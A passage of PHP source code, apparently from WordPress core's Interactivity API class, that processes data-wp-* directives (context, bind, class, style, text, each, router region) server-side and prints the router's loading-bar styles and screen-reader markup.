'id' => 'wp-interactivity-data',
)
);
}
}
/**
* Returns the latest value on the context stack with the passed namespace.
*
* When the namespace is omitted, it uses the current namespace on the
* namespace stack during a `process_directives` call.
*
* @since 6.6.0
*
* @param string $store_namespace Optional. The unique store namespace identifier.
*/
public function get_context( ?string $store_namespace = null ): array {
if ( null === $this->context_stack ) {
_doing_it_wrong(
__METHOD__,
__( 'The context can only be read during directive processing.' ),
'6.6.0'
);
return array();
}
if ( ! $store_namespace ) {
if ( null !== $store_namespace ) {
_doing_it_wrong(
__METHOD__,
__( 'The namespace should be a non-empty string.' ),
'6.6.0'
);
return array();
}
$store_namespace = end( $this->namespace_stack );
}
$context = end( $this->context_stack );
return ( $store_namespace && $context && isset( $context[ $store_namespace ] ) )
? $context[ $store_namespace ]
: array();
}
/**
* Registers the `@wordpress/interactivity` script modules.
*
* @since 6.5.0
*/
public function register_script_modules() {
$suffix = wp_scripts_get_suffix();
wp_register_script_module(
'@wordpress/interactivity',
includes_url( "js/dist/interactivity$suffix.js" )
);
wp_register_script_module(
'@wordpress/interactivity-router',
includes_url( "js/dist/interactivity-router$suffix.js" ),
array( '@wordpress/interactivity' )
);
}
/**
* Adds the necessary hooks for the Interactivity API.
*
* @since 6.5.0
*/
public function add_hooks() {
add_action( 'wp_enqueue_scripts', array( $this, 'register_script_modules' ) );
add_action( 'wp_footer', array( $this, 'print_client_interactivity_data' ) );
add_action( 'admin_enqueue_scripts', array( $this, 'register_script_modules' ) );
add_action( 'admin_print_footer_scripts', array( $this, 'print_client_interactivity_data' ) );
}
/**
* Processes the interactivity directives contained within the HTML content
* and updates the markup accordingly.
*
* @since 6.5.0
*
* @param string $html The HTML content to process.
* @return string The processed HTML content. It returns the original content when the HTML contains unbalanced tags.
*/
public function process_directives( string $html ): string {
if ( ! str_contains( $html, 'data-wp-' ) ) {
return $html;
}
$this->namespace_stack = array();
$this->context_stack = array();
$result = $this->_process_directives( $html );
$this->namespace_stack = null;
$this->context_stack = null;
return null === $result ? $html : $result;
}
/**
* Processes the interactivity directives contained within the HTML content
* and updates the markup accordingly.
*
* It uses the WP_Interactivity_API instance's context and namespace stacks,
* which are shared between all calls.
*
* This method returns null if the HTML contains unbalanced tags.
*
* @since 6.6.0
*
* @param string $html The HTML content to process.
* @return string|null The processed HTML content. It returns null when the HTML contains unbalanced tags.
*/
private function _process_directives( string $html ) {
$p = new WP_Interactivity_API_Directives_Processor( $html );
$tag_stack = array();
$unbalanced = false;
$directive_processor_prefixes = array_keys( self::$directive_processors );
$directive_processor_prefixes_reversed = array_reverse( $directive_processor_prefixes );
/*
* Save the current size for each stack to restore them in case
* the processing finds unbalanced tags.
*/
$namespace_stack_size = count( $this->namespace_stack );
$context_stack_size = count( $this->context_stack );
while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
$tag_name = $p->get_tag();
/*
* Directives inside SVG and MATH tags are not processed,
* as they are not compatible with the Tag Processor yet.
* We still process the rest of the HTML.
*/
if ( 'SVG' === $tag_name || 'MATH' === $tag_name ) {
if ( $p->get_attribute_names_with_prefix( 'data-wp-' ) ) {
/* translators: 1: SVG or MATH HTML tag, 2: Namespace of the interactive block. */
$message = sprintf( __( 'Interactivity directives were detected on an incompatible %1$s tag when processing "%2$s". These directives will be ignored in the server side render.' ), $tag_name, end( $this->namespace_stack ) );
_doing_it_wrong( __METHOD__, $message, '6.6.0' );
}
$p->skip_to_tag_closer();
continue;
}
if ( $p->is_tag_closer() ) {
list( $opening_tag_name, $directives_prefixes ) = end( $tag_stack );
if ( 0 === count( $tag_stack ) || $opening_tag_name !== $tag_name ) {
/*
* If the tag stack is empty or the matching opening tag is not the
* same than the closing tag, it means the HTML is unbalanced and it
* stops processing it.
*/
$unbalanced = true;
break;
} else {
// Remove the last tag from the stack.
array_pop( $tag_stack );
}
} else {
if ( 0 !== count( $p->get_attribute_names_with_prefix( 'data-wp-each-child' ) ) ) {
/*
* If the tag has a `data-wp-each-child` directive, jump to its closer
* tag because those tags have already been processed.
*/
$p->next_balanced_tag_closer_tag();
continue;
} else {
$directives_prefixes = array();
// Checks if there is a server directive processor registered for each directive.
foreach ( $p->get_attribute_names_with_prefix( 'data-wp-' ) as $attribute_name ) {
list( $directive_prefix ) = $this->extract_prefix_and_suffix( $attribute_name );
if ( array_key_exists( $directive_prefix, self::$directive_processors ) ) {
$directives_prefixes[] = $directive_prefix;
}
}
/*
* If this tag will visit its closer tag, it adds it to the tag stack
* so it can process its closing tag and check for unbalanced tags.
*/
if ( $p->has_and_visits_its_closer_tag() ) {
$tag_stack[] = array( $tag_name, $directives_prefixes );
}
}
}
/*
* If the matching opener tag didn't have any directives, it can skip the
* processing.
*/
if ( 0 === count( $directives_prefixes ) ) {
continue;
}
// Directive processing might be different depending on if it is entering the tag or exiting it.
$modes = array(
'enter' => ! $p->is_tag_closer(),
'exit' => $p->is_tag_closer() || ! $p->has_and_visits_its_closer_tag(),
);
foreach ( $modes as $mode => $should_run ) {
if ( ! $should_run ) {
continue;
}
/*
* Sorts the attributes by the order of the `directives_processor` array
* and checks what directives are present in this element.
*/
$existing_directives_prefixes = array_intersect(
'enter' === $mode ? $directive_processor_prefixes : $directive_processor_prefixes_reversed,
$directives_prefixes
);
foreach ( $existing_directives_prefixes as $directive_prefix ) {
$func = is_array( self::$directive_processors[ $directive_prefix ] )
? self::$directive_processors[ $directive_prefix ]
: array( $this, self::$directive_processors[ $directive_prefix ] );
call_user_func_array( $func, array( $p, $mode, &$tag_stack ) );
}
}
}
if ( $unbalanced ) {
// Reset the namespace and context stacks to their previous values.
array_splice( $this->namespace_stack, $namespace_stack_size );
array_splice( $this->context_stack, $context_stack_size );
}
/*
* It returns null if the HTML is unbalanced because unbalanced HTML is
* not safe to process. In that case, the Interactivity API runtime will
* update the HTML on the client side during the hydration. It will also
* display a notice to the developer to inform them about the issue.
*/
if ( $unbalanced || 0 < count( $tag_stack ) ) {
$tag_errored = 0 < count( $tag_stack ) ? end( $tag_stack )[0] : $tag_name;
/* translators: %1s: Namespace processed, %2s: The tag that caused the error; could be any HTML tag. */
$message = sprintf( __( 'Interactivity directives failed to process in "%1$s" due to a missing "%2$s" end tag.' ), end( $this->namespace_stack ), $tag_errored );
_doing_it_wrong( __METHOD__, $message, '6.6.0' );
return null;
}
return $p->get_updated_html();
}
/**
* Evaluates the reference path passed to a directive based on the current
* store namespace, state and context.
*
* @since 6.5.0
* @since 6.6.0 The function now adds a warning when the namespace is null, falsy, or the directive value is empty.
* @since 6.6.0 Removed `default_namespace` and `context` arguments.
* @since 6.6.0 Add support for derived state.
*
* @param string|true $directive_value The directive attribute value string or `true` when it's a boolean attribute.
* @return mixed|null The result of the evaluation. Null if the reference path doesn't exist or the namespace is falsy.
*/
private function evaluate( $directive_value ) {
$default_namespace = end( $this->namespace_stack );
$context = end( $this->context_stack );
list( $ns, $path ) = $this->extract_directive_value( $directive_value, $default_namespace );
if ( ! $ns || ! $path ) {
/* translators: %s: The directive value referenced. */
$message = sprintf( __( 'Namespace or reference path cannot be empty. Directive value referenced: %s' ), $directive_value );
_doing_it_wrong( __METHOD__, $message, '6.6.0' );
return null;
}
$store = array(
'state' => $this->state_data[ $ns ] ?? array(),
'context' => $context[ $ns ] ?? array(),
);
// Checks if the reference path is preceded by a negation operator (!).
$should_negate_value = '!' === $path[0];
$path = $should_negate_value ? substr( $path, 1 ) : $path;
// Extracts the value from the store using the reference path.
$path_segments = explode( '.', $path );
$current = $store;
foreach ( $path_segments as $path_segment ) {
if ( ( is_array( $current ) || $current instanceof ArrayAccess ) && isset( $current[ $path_segment ] ) ) {
$current = $current[ $path_segment ];
} elseif ( is_object( $current ) && isset( $current->$path_segment ) ) {
$current = $current->$path_segment;
} else {
return null;
}
if ( $current instanceof Closure ) {
/*
* This state getter's namespace is added to the stack so that
* `state()` or `get_config()` read that namespace when called
* without specifying one.
*/
array_push( $this->namespace_stack, $ns );
try {
$current = $current();
} catch ( Throwable $e ) {
_doing_it_wrong(
__METHOD__,
sprintf(
/* translators: 1: Path pointing to an Interactivity API state property, 2: Namespace for an Interactivity API store. */
__( 'Uncaught error executing a derived state callback with path "%1$s" and namespace "%2$s".' ),
$path,
$ns
),
'6.6.0'
);
return null;
} finally {
// Remove the property's namespace from the stack.
array_pop( $this->namespace_stack );
}
}
}
// Returns the opposite if it contains a negation operator (!).
return $should_negate_value ? ! $current : $current;
}
/**
* Extracts the directive attribute name to separate and return the directive
* prefix and an optional suffix.
*
* The suffix is the string after the first double hyphen and the prefix is
* everything that comes before the suffix.
*
* Example:
*
* extract_prefix_and_suffix( 'data-wp-interactive' ) => array( 'data-wp-interactive', null )
* extract_prefix_and_suffix( 'data-wp-bind--src' ) => array( 'data-wp-bind', 'src' )
* extract_prefix_and_suffix( 'data-wp-foo--and--bar' ) => array( 'data-wp-foo', 'and--bar' )
*
* @since 6.5.0
*
* @param string $directive_name The directive attribute name.
* @return array An array containing the directive prefix and optional suffix.
*/
private function extract_prefix_and_suffix( string $directive_name ): array {
return explode( '--', $directive_name, 2 );
}
/**
* Parses and extracts the namespace and reference path from the given
* directive attribute value.
*
* If the value doesn't contain an explicit namespace, it returns the
* default one. If the value contains a JSON object instead of a reference
* path, the function tries to parse it and return the resulting array. If
* the value contains strings that represent booleans ("true" and "false"),
* numbers ("1" and "1.2") or "null", the function also transform them to
* regular booleans, numbers and `null`.
*
* Example:
*
* extract_directive_value( 'actions.foo', 'myPlugin' ) => array( 'myPlugin', 'actions.foo' )
* extract_directive_value( 'otherPlugin::actions.foo', 'myPlugin' ) => array( 'otherPlugin', 'actions.foo' )
* extract_directive_value( '{ "isOpen": false }', 'myPlugin' ) => array( 'myPlugin', array( 'isOpen' => false ) )
* extract_directive_value( 'otherPlugin::{ "isOpen": false }', 'myPlugin' ) => array( 'otherPlugin', array( 'isOpen' => false ) )
*
* @since 6.5.0
*
* @param string|true $directive_value The directive attribute value. It can be `true` when it's a boolean
* attribute.
* @param string|null $default_namespace Optional. The default namespace if none is explicitly defined.
* @return array An array containing the namespace in the first item and the JSON, the reference path, or null on the
* second item.
*/
private function extract_directive_value( $directive_value, $default_namespace = null ): array {
if ( empty( $directive_value ) || is_bool( $directive_value ) ) {
return array( $default_namespace, null );
}
// Replaces the value and namespace if there is a namespace in the value.
if ( 1 === preg_match( '/^([\w\-_\/]+)::./', $directive_value ) ) {
list($default_namespace, $directive_value) = explode( '::', $directive_value, 2 );
}
/*
* Tries to decode the value as a JSON object. If it fails and the value
* isn't `null`, it returns the value as it is. Otherwise, it returns the
* decoded JSON or null for the string `null`.
*/
$decoded_json = json_decode( $directive_value, true );
if ( null !== $decoded_json || 'null' === $directive_value ) {
$directive_value = $decoded_json;
}
return array( $default_namespace, $directive_value );
}
/**
* Transforms a kebab-case string to camelCase.
*
* @param string $str The kebab-case string to transform to camelCase.
* @return string The transformed camelCase string.
*/
private function kebab_to_camel_case( string $str ): string {
return lcfirst(
preg_replace_callback(
'/(-)([a-z])/',
function ( $matches ) {
return strtoupper( $matches[2] );
},
strtolower( rtrim( $str, '-' ) )
)
);
}
/**
* Processes the `data-wp-interactive` directive.
*
* It adds the default store namespace defined in the directive value to the
* stack so that it's available for the nested interactivity elements.
*
* @since 6.5.0
*
* @param WP_Interactivity_API_Directives_Processor $p The directives processor instance.
* @param string $mode Whether the processing is entering or exiting the tag.
*/
private function data_wp_interactive_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
// When exiting tags, it removes the last namespace from the stack.
if ( 'exit' === $mode ) {
array_pop( $this->namespace_stack );
return;
}
// Tries to decode the `data-wp-interactive` attribute value.
$attribute_value = $p->get_attribute( 'data-wp-interactive' );
/*
* Pushes the newly defined namespace or the current one if the
* `data-wp-interactive` definition was invalid or does not contain a
* namespace. It does so because the function pops out the current namespace
* from the stack whenever it finds a `data-wp-interactive`'s closing tag,
* independently of whether the previous `data-wp-interactive` definition
* contained a valid namespace.
*/
$new_namespace = null;
if ( is_string( $attribute_value ) && ! empty( $attribute_value ) ) {
$decoded_json = json_decode( $attribute_value, true );
if ( is_array( $decoded_json ) ) {
$new_namespace = $decoded_json['namespace'] ?? null;
} else {
$new_namespace = $attribute_value;
}
}
$this->namespace_stack[] = ( $new_namespace && 1 === preg_match( '/^([\w\-_\/]+)/', $new_namespace ) )
? $new_namespace
: end( $this->namespace_stack );
}
/**
* Processes the `data-wp-context` directive.
*
* It adds the context defined in the directive value to the stack so that
* it's available for the nested interactivity elements.
*
* @since 6.5.0
*
* @param WP_Interactivity_API_Directives_Processor $p The directives processor instance.
* @param string $mode Whether the processing is entering or exiting the tag.
*/
private function data_wp_context_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
// When exiting tags, it removes the last context from the stack.
if ( 'exit' === $mode ) {
array_pop( $this->context_stack );
return;
}
$attribute_value = $p->get_attribute( 'data-wp-context' );
$namespace_value = end( $this->namespace_stack );
// Separates the namespace from the context JSON object.
list( $namespace_value, $decoded_json ) = is_string( $attribute_value ) && ! empty( $attribute_value )
? $this->extract_directive_value( $attribute_value, $namespace_value )
: array( $namespace_value, null );
/*
* If there is a namespace, it adds a new context to the stack merging the
* previous context with the new one.
*/
if ( is_string( $namespace_value ) ) {
$this->context_stack[] = array_replace_recursive(
end( $this->context_stack ) !== false ? end( $this->context_stack ) : array(),
array( $namespace_value => is_array( $decoded_json ) ? $decoded_json : array() )
);
} else {
/*
* If there is no namespace, it pushes the current context to the stack.
* It needs to do so because the function pops out the current context
* from the stack whenever it finds a `data-wp-context`'s closing tag.
*/
$this->context_stack[] = end( $this->context_stack );
}
}
/**
* Processes the `data-wp-bind` directive.
*
* It updates or removes the bound attributes based on the evaluation of its
* associated reference.
*
* @since 6.5.0
*
* @param WP_Interactivity_API_Directives_Processor $p The directives processor instance.
* @param string $mode Whether the processing is entering or exiting the tag.
*/
private function data_wp_bind_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
if ( 'enter' === $mode ) {
$all_bind_directives = $p->get_attribute_names_with_prefix( 'data-wp-bind--' );
foreach ( $all_bind_directives as $attribute_name ) {
list( , $bound_attribute ) = $this->extract_prefix_and_suffix( $attribute_name );
if ( empty( $bound_attribute ) ) {
return;
}
$attribute_value = $p->get_attribute( $attribute_name );
$result = $this->evaluate( $attribute_value );
if (
null !== $result &&
(
false !== $result ||
( strlen( $bound_attribute ) > 5 && '-' === $bound_attribute[4] )
)
) {
/*
* If the result of the evaluation is a boolean and the attribute is
* `aria-` or `data-, convert it to a string "true" or "false". It
* follows the exact same logic as Preact because it needs to
* replicate what Preact will later do in the client:
* https://github.com/preactjs/preact/blob/ea49f7a0f9d1ff2c98c0bdd66aa0cbc583055246/src/diff/props.js#L131C24-L136
*/
if (
is_bool( $result ) &&
( strlen( $bound_attribute ) > 5 && '-' === $bound_attribute[4] )
) {
$result = $result ? 'true' : 'false';
}
$p->set_attribute( $bound_attribute, $result );
} else {
$p->remove_attribute( $bound_attribute );
}
}
}
}
/**
* Processes the `data-wp-class` directive.
*
* It adds or removes CSS classes in the current HTML element based on the
* evaluation of its associated references.
*
* @since 6.5.0
*
* @param WP_Interactivity_API_Directives_Processor $p The directives processor instance.
* @param string $mode Whether the processing is entering or exiting the tag.
*/
private function data_wp_class_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
if ( 'enter' === $mode ) {
$all_class_directives = $p->get_attribute_names_with_prefix( 'data-wp-class--' );
foreach ( $all_class_directives as $attribute_name ) {
list( , $class_name ) = $this->extract_prefix_and_suffix( $attribute_name );
if ( empty( $class_name ) ) {
return;
}
$attribute_value = $p->get_attribute( $attribute_name );
$result = $this->evaluate( $attribute_value );
if ( $result ) {
$p->add_class( $class_name );
} else {
$p->remove_class( $class_name );
}
}
}
}
/**
* Processes the `data-wp-style` directive.
*
* It updates the style attribute value of the current HTML element based on
* the evaluation of its associated references.
*
* @since 6.5.0
*
* @param WP_Interactivity_API_Directives_Processor $p The directives processor instance.
* @param string $mode Whether the processing is entering or exiting the tag.
*/
private function data_wp_style_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
if ( 'enter' === $mode ) {
$all_style_attributes = $p->get_attribute_names_with_prefix( 'data-wp-style--' );
foreach ( $all_style_attributes as $attribute_name ) {
list( , $style_property ) = $this->extract_prefix_and_suffix( $attribute_name );
if ( empty( $style_property ) ) {
continue;
}
$directive_attribute_value = $p->get_attribute( $attribute_name );
$style_property_value = $this->evaluate( $directive_attribute_value );
$style_attribute_value = $p->get_attribute( 'style' );
$style_attribute_value = ( $style_attribute_value && ! is_bool( $style_attribute_value ) ) ? $style_attribute_value : '';
/*
* Checks first if the style property is not falsy and the style
* attribute value is not empty because if it is, it doesn't need to
* update the attribute value.
*/
if ( $style_property_value || $style_attribute_value ) {
$style_attribute_value = $this->merge_style_property( $style_attribute_value, $style_property, $style_property_value );
/*
* If the style attribute value is not empty, it sets it. Otherwise,
* it removes it.
*/
if ( ! empty( $style_attribute_value ) ) {
$p->set_attribute( 'style', $style_attribute_value );
} else {
$p->remove_attribute( 'style' );
}
}
}
}
}
/**
* Merges an individual style property in the `style` attribute of an HTML
* element, updating or removing the property when necessary.
*
* If a property is modified, the old one is removed and the new one is added
* at the end of the list.
*
* @since 6.5.0
*
* Example:
*
* merge_style_property( 'color:green;', 'color', 'red' ) => 'color:red;'
* merge_style_property( 'background:green;', 'color', 'red' ) => 'background:green;color:red;'
* merge_style_property( 'color:green;', 'color', null ) => ''
*
* @param string $style_attribute_value The current style attribute value.
* @param string $style_property_name The style property name to set.
* @param string|false|null $style_property_value The value to set for the style property. With false, null or an
* empty string, it removes the style property.
* @return string The new style attribute value after the specified property has been added, updated or removed.
*/
private function merge_style_property( string $style_attribute_value, string $style_property_name, $style_property_value ): string {
$style_assignments = explode( ';', $style_attribute_value );
$result = array();
$style_property_value = ! empty( $style_property_value ) ? rtrim( trim( $style_property_value ), ';' ) : null;
$new_style_property = $style_property_value ? $style_property_name . ':' . $style_property_value . ';' : '';
// Generates an array with all the properties but the modified one.
foreach ( $style_assignments as $style_assignment ) {
if ( empty( trim( $style_assignment ) ) ) {
continue;
}
list( $name, $value ) = explode( ':', $style_assignment );
if ( trim( $name ) !== $style_property_name ) {
$result[] = trim( $name ) . ':' . trim( $value ) . ';';
}
}
// Adds the new/modified property at the end of the list.
$result[] = $new_style_property;
return implode( '', $result );
}
/**
* Processes the `data-wp-text` directive.
*
* It updates the inner content of the current HTML element based on the
* evaluation of its associated reference.
*
* @since 6.5.0
*
* @param WP_Interactivity_API_Directives_Processor $p The directives processor instance.
* @param string $mode Whether the processing is entering or exiting the tag.
*/
private function data_wp_text_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
if ( 'enter' === $mode ) {
$attribute_value = $p->get_attribute( 'data-wp-text' );
$result = $this->evaluate( $attribute_value );
/*
* Follows the same logic as Preact in the client and only changes the
* content if the value is a string or a number. Otherwise, it removes the
* content.
*/
if ( is_string( $result ) || is_numeric( $result ) ) {
$p->set_content_between_balanced_tags( esc_html( $result ) );
} else {
$p->set_content_between_balanced_tags( '' );
}
}
}
/**
* Returns the CSS styles for animating the top loading bar in the router.
*
* @since 6.5.0
*
* @return string The CSS styles for the router's top loading bar animation.
*/
private function get_router_animation_styles(): string {
return <<<CSS
.wp-interactivity-router-loading-bar {
position: fixed;
top: 0;
left: 0;
margin: 0;
padding: 0;
width: 100vw;
max-width: 100vw !important;
height: 4px;
background-color: #000;
opacity: 0
}
.wp-interactivity-router-loading-bar.start-animation {
animation: wp-interactivity-router-loading-bar-start-animation 30s cubic-bezier(0.03, 0.5, 0, 1) forwards
}
.wp-interactivity-router-loading-bar.finish-animation {
animation: wp-interactivity-router-loading-bar-finish-animation 300ms ease-in
}
@keyframes wp-interactivity-router-loading-bar-start-animation {
0% { transform: scaleX(0); transform-origin: 0 0; opacity: 1 }
100% { transform: scaleX(1); transform-origin: 0 0; opacity: 1 }
}
@keyframes wp-interactivity-router-loading-bar-finish-animation {
0% { opacity: 1 }
50% { opacity: 1 }
100% { opacity: 0 }
}
CSS;
}
/**
* Outputs the markup for the top loading indicator and the screen reader
* notifications during client-side navigations.
*
* This method prints a div element representing a loading bar visible during
* navigation, as well as an aria-live region that can be read by screen
* readers to announce navigation status.
*
* @since 6.5.0
*/
public function print_router_loading_and_screen_reader_markup() {
echo <<<HTML
<div
class="wp-interactivity-router-loading-bar"
data-wp-interactive="core/router"
data-wp-class--start-animation="state.navigation.hasStarted"
data-wp-class--finish-animation="state.navigation.hasFinished"
></div>
<div
class="screen-reader-text"
aria-live="polite"
data-wp-interactive="core/router"
data-wp-text="state.navigation.message"
></div>
HTML;
}
/**
* Processes the `data-wp-router-region` directive.
*
* It renders in the footer a set of HTML elements to notify users about
* client-side navigations. More concretely, the elements added are 1) a
* top loading bar to visually inform that a navigation is in progress
* and 2) an `aria-live` region for accessible navigation announcements.
*
* @since 6.5.0
*
* @param WP_Interactivity_API_Directives_Processor $p The directives processor instance.
* @param string $mode Whether the processing is entering or exiting the tag.
*/
private function data_wp_router_region_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
if ( 'enter' === $mode && ! $this->has_processed_router_region ) {
$this->has_processed_router_region = true;
// Initialize the `core/router` store.
$this->state(
'core/router',
array(
'navigation' => array(
'texts' => array(
'loading' => __( 'Loading page, please wait.' ),
'loaded' => __( 'Page Loaded.' ),
),
),
)
);
// Enqueues as an inline style.
wp_register_style( 'wp-interactivity-router-animations', false );
wp_add_inline_style( 'wp-interactivity-router-animations', $this->get_router_animation_styles() );
wp_enqueue_style( 'wp-interactivity-router-animations' );
// Adds the necessary markup to the footer.
add_action( 'wp_footer', array( $this, 'print_router_loading_and_screen_reader_markup' ) );
}
}
/**
* Processes the `data-wp-each` directive.
*
* This directive gets an array passed as reference and iterates over it
* generating new content for each item based on the inner markup of the
* `template` tag.
*
* @since 6.5.0
*
* @param WP_Interactivity_API_Directives_Processor $p The directives processor instance.
* @param string $mode Whether the processing is entering or exiting the tag.
* @param array $tag_stack The reference to the tag stack.
*/
private function data_wp_each_processor( WP_Interactivity_API_Directives_Processor $p, string $mode, array &$tag_stack ) {
if ( 'enter' === $mode && 'TEMPLATE' === $p->get_tag() ) {
$attribute_name = $p->get_attribute_names_with_prefix( 'data-wp-each' )[0];
$extracted_suffix = $this->extract_prefix_and_suffix( $attribute_name );
$item_name = isset( $extracted_suffix[1] ) ? $this->kebab_to_camel_case( $extracted_suffix[1] ) : 'item';
$attribute_value = $p->get_attribute( $attribute_name );
$result = $this->evaluate( $attribute_value );
// Gets the content between the template tags and leaves the cursor in the closer tag.
$inner_content = $p->get_content_between_balanced_template_tags();
// Checks if there is a manual server-side directive processing.
$template_end = 'data-wp-each: template end';
$p->set_bookmark( $template_end );
$p->next_tag();
$manual_sdp = $p->get_attribute( 'data-wp-each-child' );
$p->seek( $template_end ); // Rewinds to the template closer tag.
$p->release_bookmark( $template_end );
/*
* It doesn't process in these situations:
* - Manual server-side directive processing.
* - Empty or non-array values.
* - Associative arrays because those are deserialized as objects in JS.
* - Templates that contain top-level texts because those texts can't be
* identified and removed in the client.
*/
if (
$manual_sdp ||
empty( $result ) ||
! is_array( $result ) ||
! array_is_list( $result ) ||
! str_starts_with( trim( $inner_content ), '<' ) ||
! str_ends_with( trim( $inner_content ), '>' )
) {
array_pop( $tag_stack );
return;
}
// Extracts the namespace from the directive attribute value.
$namespace_value = end( $this->namespace_stack );
list( $namespace_value ) = is_string( $attribute_value ) && ! empty( $attribute_value )
? $this->extract_directive_value( $attribute_value, $namespace_value )
: array( $namespace_value, null );
// Processes the inner content for each item of the array.
$processed_content = '';
foreach ( $result as $item ) {
// Creates a new context that includes the current item of the array.
$this->context_stack[] = array_replace_recursive(
end( $this->context_stack ) !== false ? end( $this->context_stack ) : array(),
array( $namespace_value => array( $item_name => $item ) )
);
// Processes the inner content with the new context.
$processed_item = $this->_process_directives( $inner_content );
if ( null === $processed_item ) {
// If the HTML is unbalanced, stop processing it.
array_pop( $this->context_stack );
return;
}
// Adds the `data-wp-each-child` to each top-level tag.
$i = new WP_Interactivity_API_Directives_Processor( $processed_item );
while ( $i->next_tag() ) {
$i->set_attribute( 'data-wp-each-child', true );
$i->next_balanced_tag_closer_tag();
}
$processed_content .= $i->get_updated_html();
// Removes the current context from the stack.
array_pop( $this->context_stack );
}
// Appends the processed content after the tag closer of the template.
$p->append_content_after_template_tag_closer( $processed_content );
// Pops the last tag because it skipped the closing tag of the template tag.
array_pop( $tag_stack );
}
}
}